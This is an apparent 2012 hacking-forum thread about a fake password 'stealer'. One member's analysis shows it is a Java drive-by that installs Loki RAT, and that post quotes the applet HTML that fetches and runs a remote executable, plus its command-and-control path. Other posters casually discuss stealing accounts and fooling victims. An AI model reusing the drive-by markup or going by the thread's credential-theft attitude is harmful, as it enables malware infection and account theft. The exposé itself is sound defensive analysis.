maikiew - April 16, 2012, 9:28 am

Isnt this just ambesty Stealer?
U just Leeched?

This is Probably infected

Use : www.stealer.ambesty.com

I used that 1 and Got a Pornhub Premium account...;D and some Facebook shit and more

This 1 is probably infected.

P.S If someone want that Premium Acc...PM me.

Zumoto - April 16, 2012, 5:42 pm

This isn't new I've seen this already the exact same thing.. One blank template and One hello kitty one.. My guess is that you stole it from the actual creator... Do not trust this user and it may have his RAT in a JDB and he is is just using you guys to help him spread...

Edit: I have proof it's fake... Login it with any email like "lol" and look at the link it generated then login in again with "haha" and look the links are the same... and it says Welcome Back no matter what e-mail you use..

LEECHED

Physics - April 16, 2012, 5:44 pm

ailan - April 16, 2012, 7:39 pm

I'm the creator of the original ambesty stealer. This one is a fake. If you look at the source code of the page, it is a JDB with an executable that will mess up your computer.

Nyne - April 16, 2012, 7:44 pm

Its not FUD, AVG detected it just now.

Aeron777 - April 16, 2012, 10:58 pm

Sweat Heart - April 26, 2012, 6:35 am

I don't believe this for crap. I don't think this is 100% legit. Sure the applet and everything is, but I'm going to do further investigation on the site. Something is fishy about this.

Valkyre - April 27, 2012, 6:59 am

Yeah my AVG detected it too. I really don't know if this works at all.

It ain't FUD anymore, kaspersky detected it within seconds.

Saint-Luciferr - May 7, 2012, 9:23 am

Seemed great whilst it was FUD, Last thing you want is the victims thinking they'll be hacked and in future not clicking links, I would advice anyone not to use this method now until its FUD again.

usrnvm - May 7, 2012, 10:13 am

avg detected within secs ...

it will not work anymore

Hack-IT! - May 20, 2012, 7:51 pm

Site is not down stealr updated now works fine

Crin - May 20, 2012, 11:20 pm

I'm pretty confident that this is fake and an attempt to get free installs and infect other members if they decided to run it themselves. Here's why:

From the site:

"It is 100% Full Undetectable by ALL anti-viruses because there is nothing downloaded onto the slave's computer. "

Also from the site:

```
Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
  <PARAM NAME = "AMLMAFOIEA" VALUE = "http://saab.ihoste.com/applet.exe">
</APPLET>
```

Note Code VALUE = "http://saab.ihoste.com/applet.exe">

This is just a java drive-by, the parameter "AMLMAFOIEA" and it's corresponding value is passed to the applet which downloads and runs the executable file.

Interesting the variable name "AMLMAFOIEA" is identical to the example given in this tutorial here:

<https://hackforums.net/showthread.php?tid=1043289>

Now this claims to email the passwords to any email address you specify. For this to work there would at least have to be some unique identifier passed to the applet like there is with the ambesty stealer:

```
Code <span id="applet"><applet code='Applet.class' archive='remote.jar' width=750
height=250><param name='param1' value='Error, unable to read browser info'/><param name='key'
value='56l4QF'/><param name='hash' value='7B71OxIX8W'/></applet>
```

An alternative option that would also work for a drive-by downloader would be to compile and create a new executable for each users email address and then create a new download link for it.

Neither of these things are present.

Anyway on to the code:

I'm not going to bother inspecting the code for the ambesty stealer but let's just say the ambesty stealer's .jar is 3.8mb while the OP's is a mere 4kb.

OP's .jar file contains two classes, "Client.class" and "I.class" which is contained in the subfolder "I".

Both are highly obfuscated and it's difficult to tell exactly what's going on. However let's compare the MD5 checksums of the .jar file on OP's site and the .jar file found at the tutorial link I posted above:

OP's: 0521c911e442cd9eec927d8439731a76
Link: 0521c911e442cd9eec927d8439731a76

They're the same. What does this mean? OP's site is a java drive-by and nothing more. However let's give him a chance and inspect the .exe file!

It's a 22kb executable titled "applet.exe". It's not FUD and even my less than brilliant AV detects it as "Win32:Agent-AOBX [Trj]". Anyway, let's see what it does.

The first thing to do is to use the Anubis file analyzer. Anubis executes the file you upload and delivers a report on its behaviour. It can be found here: <http://anubis.iseclab.org/>

And here's the report for the .exe on OP's site:

http://anubis.iseclab.org/?action=result&task_id=1ec4cd87b1ac7b8b4c1cee249d3ad4d0d&format=html

It doesn't look too good for OP or for anyone who's run the applet. There's a lot of information there that makes it pretty evident this isn't what it claims to be.

So that leaves one question: What is it?

Let's take another look at the Anubis report. It mentions that applet.exe is communicating with `saab.ihoste.com/saab/bot.php`.

Going there just yields a blank page which isn't a surprise given php's server side nature. However in the base directory there's a zip file that conveniently contains the source of the .php files found in /saab/.

Inside settings.php we find the line `"$db = 'lokirat2';"`.

So yeah, this is Loki Rat and OP is full of BS. There's no "new vulnerabilities within windows" as he claims and that should raise a red flag to anyone. Anyone who's used a RAT knows they're capable of grabbing stored browser passwords.

I know I'm a new member but I'm far from new to hacking and the related technology. I'm calling BS on this, and I suggest anyone who's run this clean their system. All the system changes it makes are in the Anubis report above so getting rid of it won't be difficult.

It will be interesting to see how OP responds :) Btw, I didn't fill in your survey, they're simple to get around. Disable javascript and stop the browser activity before it redirects to the "you need to enable javascript" page.

tl;d

The site is a java drive-by that attempts to deploy and execute Loki Rat.

SocialBoy - May 21, 2012, 2:10 am

Does this take your passwords to??? Cus you aldo have to view the link!

It doesn't look too good for OP or for anyone who's run the applet. There's a lot of information there that makes it pretty evident this isn't what it claims to be.

So that leaves one question: What is it?

Let's take another look at the Anubis report. It mentions that applet.exe is communicating with `saab.ihoste.com/saab/bot.php`.

Going there just yields a blank page which isn't a surprise given php's server side nature. However in the base directory there's a zip file that conveniently contains the source of the .php files found in `/saab/`.

Inside `settings.php` we find the line `"$db = 'lokirat2';"`.

So yeah, this is Loki Rat and OP is full of BS. There's no "new vulnerabilities within windows" as he claims and that should raise a red flag to anyone. Anyone who's used a RAT knows they're capable of grabbing stored browser passwords.

I know I'm a new member but I'm far from new to hacking and the related technology. I'm calling BS on this, and I suggest anyone who's run this clean their system. All the system changes it makes are in the Anubis report above so getting rid of it won't be difficult.

It will be interesting to see how OP responds :) Btw, I didn't fill in your survey, they're simple to get around. Disable javascript and stop the browser activity before it redirects to the "you need to enable javascript" page.

tl;d

The site is a java drive-by that attempts to deploy and execute Loki Rat.

Holy shit!!! Thank you man! You saved my ass! If I could rep you I'd give you 20968648747674566467+ :D please report this guy and the thread! Thanks!
